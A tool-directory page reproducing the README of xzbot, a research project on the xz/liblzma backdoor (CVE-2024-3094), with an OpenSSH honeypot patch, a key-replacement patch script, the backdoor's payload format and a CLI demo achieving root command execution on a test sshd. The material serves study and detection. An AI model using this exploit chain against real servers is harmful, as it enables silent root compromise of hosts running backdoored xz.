Baike.dev
All toolsAI codingTrendingOpen sourceNewsSubmit
Log in
< Back to tools
X

xzbot

> 编程语言
Open source

notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)

3.6K stars0 likes0 views
WebsiteGitHub

About

notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)

xzbot

Exploration of the xz backdoor (CVE-2024-3094). Includes the following:

  • honeypot: fake vulnerable server to detect exploit attempts
  • ed448 patch: patch liblzma.so to use our own ED448 public key
  • backdoor format: format of the backdoor payload
  • backdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key

honeypot

See openssh.patch for a simple patch to openssh that logs any connection attempt with a public key N matching the backdoor format.

$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make

Any connection attempt will appear as follows in sshd logs:

$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...

ed448 patch

The backdoor uses a hardcoded ED448 public key for signature validation and decrypting the payload. If we replace this key with our own, we can trigger the backdoor.

The attacker's ED448 key is:

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

We will replace this key with our own (generated with seed=0):

5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

To start, download a backdoored libxzma shared object, e.g. from https://snapshot.debian.org/package/xz-utils/5.6.1-1. Then run the patch script. See assets/ for examples.

$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4  liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

Then run sshd using this modified liblzma.so.5.6.1.patch shared object.

backdoor format

The backdoor can be triggered by connecting with an SSH certificate with a payload in the CA signing key N value. This payload must be encrypted and signed with the attacker's ED448 key.

The structure has the following format:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   a (32 bit)  |   b (32 bit)  |           c (64 bit)          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                     ciphertext (240 bytes)                    +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

A request type is derived from the three values above (a * b + c). If this value is greater than 3, the backdoor skips processing.

  • Type 1: unknown, expects zero bytes
  • Type 2: executes null-terminated payload with system()
  • Type 3: unknown, expects 48 bytes (signed)

The ciphertext is encrypted with chacha20 using the first 32 bytes of the ED448 public key as a symmetric key. As a result, we can decrypt any exploit attempt using the following key:

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

The ciphertext has the following format:

…

Setting either x or y leads to slightly different code paths.

The signature is an RFC-8032 ED448 signature computed over the following values:

  • The 32-bit magic value (e.g. 02 00 00 00)
  • The 5 bytes of fields before command
  • [optional] length bytes of the command
  • The first 32 bytes of the sha256 hash of the server's hostkey

backdoor demo

$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

The following will connect to a vulnerable SSH server at 127.0.0.1:2222 and run the command id > /tmp/.xz:

…

On the vulnerable server, we can set a watchpoint for the call to system() and observe the command is executed:

$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
    printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz

$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)

The process tree after exploitation looks different from a normal sshd process tree:

…

Note: successful exploitation does not generate any INFO or higher log entries.

References

  • https://www.openwall.com/lists/oss-security/2024/03/29/4
  • https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
  • https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
  • https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4

GitHub Issues· 1 open

View all on GitHub

No open issues yet, or sync has not completed.

Highlights

  • •honeypot: fake vulnerable server to detect exploit attempts
  • •ed448 patch: patch liblzma.so to use our own ED448 public key
  • •backdoor format: format of the backdoor payload
  • •backdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key
  • •ciphertext (240 bytes) +
  • •Type 1: unknown, expects zero bytes
  • •Type 2: executes null-terminated payload with system()
  • •Type 3: unknown, expects 48 bytes (signed)
  • •The 32-bit magic value (e.g. 02 00 00 00)
  • •The 5 bytes of fields before command

> Tags

Go

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 17, 2026
Category编程语言
PricingOpen source

> Related tools

T
TypeScript
JavaScript 的超集,为前端与全栈提供静态类型
P
Python
通用编程语言,广泛用于 Web、数据与 AI
G
Go
Google 推出的简洁高效系统语言